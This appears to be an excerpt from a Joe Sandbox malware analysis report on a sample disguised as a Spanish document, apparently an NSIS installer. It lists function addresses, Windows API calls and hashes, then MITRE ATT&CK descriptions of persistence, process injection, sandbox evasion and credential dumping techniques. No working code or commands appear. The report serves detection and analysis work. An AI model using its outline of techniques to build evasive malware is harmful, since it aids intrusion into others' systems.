Instruction Fuzzy Hash: 1A21C171908219AEEF04AFA4DE4AABE7BB4FF44304F14453EF505BA1D0D7B88541DB28

Function 004023EA Relevance: 6.1, APIs: 4, Instructions: 73registrystringCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402428
lstrlenW.KERNEL32(0040B5D8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 00402448
RegSetValueExW.ADVAPI32(?,?,?,?,0040B5D8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402488
RegCloseKey.ADVAPI32(?,?,?,0040B5D8,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040256D

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID:
API String ID: 1356686001-0
Opcode ID: f18aa87aa6b79811d6adea6c6b4f71fd68a91caefea6bf7c60a3fb0ca3464567
Instruction ID: 4be5953a60dfee5a88bc6a75bc26a7970e9a4d525f64453ad6d2d9daaf41070d
Opcode Fuzzy Hash: f18aa87aa6b79811d6adea6c6b4f71fd68a91caefea6bf7c60a3fb0ca3464567
Instruction Fuzzy Hash: 85216F71E00118BFEB10AFA4DE89DAE7B78EB04358F11843AF505B71D1DBB88D419B68

Function 00401ED5 Relevance: 6.1, APIs: 4, Instructions: 52synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00405371: lstrlenW.KERNEL32(00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000,?), ref: 004053A9
Part of subcall function 00405371: lstrlenW.KERNEL32(00402EAD,00422708,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402EAD,00000000), ref: 004053B9
Part of subcall function 00405371: lstrcatW.KERNEL32(00422708,00402EAD,00402EAD,00422708,00000000,00000000,00000000), ref: 004053CC
Part of subcall function 00405371: SetWindowTextW.USER32(00422708,00422708), ref: 004053DE
Part of subcall function 00405371: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405404
Part of subcall function 00405371: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040541E
Part of subcall function 00405371: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040542C

Part of subcall function 004058F2: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 0040591B
Part of subcall function 004058F2: CloseHandle.KERNEL32(?), ref: 00405928

WaitForSingleObject.KERNEL32(00000000,00000064,00000000,000000EB,00000000), ref: 00401F04
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00401F19
GetExitCodeProcess.KERNEL32(?,?), ref: 00401F26
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401F4D

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: MessageSend$CloseHandleObjectProcessSingleWaitlstrlen$CodeCreateExitTextWindowlstrcat
String ID:
API String ID: 3585118688-0
Opcode ID: 658cb7c6d423f34adddbd637859a3867049cefa358d112fdf12d9817224f2835
Instruction ID: a49aa3197bbdededf4fd909b386d72e1103700f3deb01b848309097317d3e37e
Opcode Fuzzy Hash: 658cb7c6d423f34adddbd637859a3867049cefa358d112fdf12d9817224f2835
Instruction Fuzzy Hash: C411C431A00109EBCF10AFA0DD84ADD7BB6EF04344F20807BF502B61E1C7B94992DB5A

Function 00405840 Relevance: 6.0, APIs: 4, Instructions: 39COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(?,?,00437800), ref: 00405883
GetLastError.KERNEL32 ref: 00405897
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004058AC
GetLastError.KERNEL32 ref: 004058B6

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction ID: cbd092c4ebd5e7b47652c6b2ce971f8280a433404df7830fbb595f789125ae90
Opcode Fuzzy Hash: 6ae7c342d9c1b50a082fcf4789916780a4d0616efa07736c5e287c1420eecf92
Instruction Fuzzy Hash: 43011A72D00619DAEF10EFA0C9447EFBBB8EF04344F00803AD944B6280E7789614CF99

Function 00405CCE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00406212: lstrcpynW.KERNEL32(?,?,00000400,004034F7,00429240,NSIS Error), ref: 0040621F

Part of subcall function 00405C71: CharNextW.USER32(?,?,00425F30,?,00405CE5,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0,00000000), ref: 00405C7F
Part of subcall function 00405C71: CharNextW.USER32(00000000), ref: 00405C84
Part of subcall function 00405C71: CharNextW.USER32(00000000), ref: 00405C9C

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0,00000000), ref: 00405D27
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,758E3420,?,758E2EE0,00405A23,?,758E3420,758E2EE0), ref: 00405D37

Strings

0_B, xrefs: 00405CD4

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction ID: ff48dfae10af5decf38b12d619470e329e8f167eeffaec785d8039fb28d6ac4e
Opcode Fuzzy Hash: 8c509004bd2409bcc8bce800ca11afa93321ed7f3e6ee2afcf27be4b7ee26805
Instruction Fuzzy Hash: 6DF04439108F612AE622323A2D08ABF1A14CF8236474A423FF851B12D1CB3C8D43DC6E

Function 004052E5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405314
CallWindowProcW.USER32(?,?,?,?), ref: 00405365

Part of subcall function 00404322: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404334

Strings

, xrefs: 004052F5

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction ID: 55ce392e6746b2cc60fd0279fd4fa9b35be9dafe7b92107a95c9794c7a372d77
Opcode Fuzzy Hash: 1c38682ff548693de77d02b4aeee144e7a7efb8abd51762e205331c359b10038
Instruction Fuzzy Hash: 8F01B1B2200708ABEF209F11DD80AAB3725EB80395F545036FE007A1D1C3BA8D929E6D

Function 00405E16 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00405E34
GetTempFileNameW.KERNEL32(?,?,00000000,?,?,?,00435000,00403448,00437000,00437800,00437800,00437800,00437800,00437800,00437800,00403672), ref: 00405E4F

Strings

nsa, xrefs: 00405E23

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction ID: 4cf6052b0ced346fb1ee4b1f894cf66bb827df7868a0d4c9989a51242fd2e3ec
Opcode Fuzzy Hash: ba752c91d03ec01f63b9c4f62f06acfe59d2ba7d741f037e803b5e880a418ded
Instruction Fuzzy Hash: 9BF09076700608FBDB008F59DD05A9BBBBDEB95750F10403AFD40F7180E6B09A548B64

Function 004058F2 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 0040591B
CloseHandle.KERNEL32(?), ref: 00405928

Strings

Error launching installer, xrefs: 00405905

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction ID: ac9b0bf38c37d054f1ed4f6a01e64bdbc49d0edc431f290d839f62d49592851a
Opcode Fuzzy Hash: 03ab27a360793ac613c0483ba4ee8f6366951212bcf32abb356d437eb8ce57e6
Instruction Fuzzy Hash: B0E04FF0A00209BFEB009B64ED45F7B77ACEB04208F404431BD00F2160D77498148A78

Function 00406D0F Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c054bf0c5d93fa0a7b6250bc48fdf5a8ef487737ec2afd77fa79e2fd840b2821
Instruction ID: ad0bcc128236992ad7a4f6733702d2b43af4dc4d223e88fe38095793509b9f66
Opcode Fuzzy Hash: c054bf0c5d93fa0a7b6250bc48fdf5a8ef487737ec2afd77fa79e2fd840b2821
Instruction Fuzzy Hash: 62A15671D04229CBDF28CFA8C854AADBBB1FF44305F14816ED856BB281C7785986CF45

Function 00406F10 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7217611772f9ef51776e54c981640a2e38891cb8cac899c938ecb9dba8bbb68
Instruction ID: 6aec0e073e41beee5660f1704474c6018554c7323141eb4488ca3ed34e09e74f
Opcode Fuzzy Hash: e7217611772f9ef51776e54c981640a2e38891cb8cac899c938ecb9dba8bbb68
Instruction Fuzzy Hash: 71913271D04229CBDF28CFA8C854BADBBB1FF44305F14816AD856BB291C7786986CF45

Function 00406C26 Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0898a8e2da4e1da6e9a921ed15670c8ccd525f320a25fb1a5aeeb31869c426e5
Instruction ID: 7ea7bfe366fdde138a2213b1adeace564b33d0438ed0be708c4ee64e1a3b53a1
Opcode Fuzzy Hash: 0898a8e2da4e1da6e9a921ed15670c8ccd525f320a25fb1a5aeeb31869c426e5
Instruction Fuzzy Hash: 50814531D04228DFDF24CFA8C884BADBBB1FB44305F25816AD856BB291C7789996CF45

Function 0040672B Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf476539507983e16092c80279d888edc01129ecf00556e39cf10d10f419ff7d
Instruction ID: b0390ff044984b209d4cab8587791f90ef454c2be00e5ddb87b3a87963c4087b
Opcode Fuzzy Hash: bf476539507983e16092c80279d888edc01129ecf00556e39cf10d10f419ff7d
Instruction Fuzzy Hash: 83814631D04229DBDB24CFA9C844BAEBBB1FB44305F21816AD856BB2C1C7786986DF45

Function 00406B79 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 149a1ea87bad9471ec2d26afc2e1eb54ca0b669066d2141da6cfc8ccdd9a5e64
Instruction ID: b22102ba0a97a3123bbdfffdcb3b598a66073f742a3c91e931c35cfd39b2e4d0
Opcode Fuzzy Hash: 149a1ea87bad9471ec2d26afc2e1eb54ca0b669066d2141da6cfc8ccdd9a5e64
Instruction Fuzzy Hash: 2B712271D04229DBDF28CFA8C884BADBBB1FB44305F15806AD806BB291C7789996DF44

Function 00406C97 Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcb8aa4ffb3c1ace06284f4ef2cf8db0442e32867474e3534aac7ea6feec76b4
Instruction ID: 9997fd61ac043c1521ccfeb60d91edfb3447ef4cf3d9eb85cab0c4916a58cc02
Opcode Fuzzy Hash: dcb8aa4ffb3c1ace06284f4ef2cf8db0442e32867474e3534aac7ea6feec76b4
Instruction Fuzzy Hash: 5E714331D04229DBDF28CFA8C844BADBBB1FF44305F15806AD846BB290C7785996DF45

Function 00406BE3 Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce5b5824dab04b0af399fdb569f5160cdf810ce4d6e1efcb4a21919472af673
Instruction ID: 57281eb70c6d5ee4f1dcb93120720bdacd8771e53a80a41a257af2ecf5b7c0f8
Opcode Fuzzy Hash: 5ce5b5824dab04b0af399fdb569f5160cdf810ce4d6e1efcb4a21919472af673
Instruction Fuzzy Hash: 7C714431D04229DBEF28CF98C844BADBBB1FF44305F11806AD856BB291C7789A96DF44

Function 00405D4C Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D5C
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405D74
CharNextA.USER32(00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D85
lstrlenA.KERNEL32(00000000,?,00000000,0040602D,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D8E

Memory Dump Source

Source File: 00000003.00000002.7553492156.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.7553454503.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553528536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553564922.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.7553605570.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_CONSULTA#1604045 MATERIAL DE MUESTRA SEPTIEMBRE.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction ID: 1f72a7e7db10584d46f5d47bab472a29a69204e410489cb336b3e0253d2e012c
Opcode Fuzzy Hash: d13a305aa79855a3845d1893bd1e44018cb4e3b8a4cc5142433a7699c001be6c
Instruction Fuzzy Hash: 31F09631104918FFC712DFA5DD0499FBBA8EF06350B2580BAE841F7251D674DE019F99

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

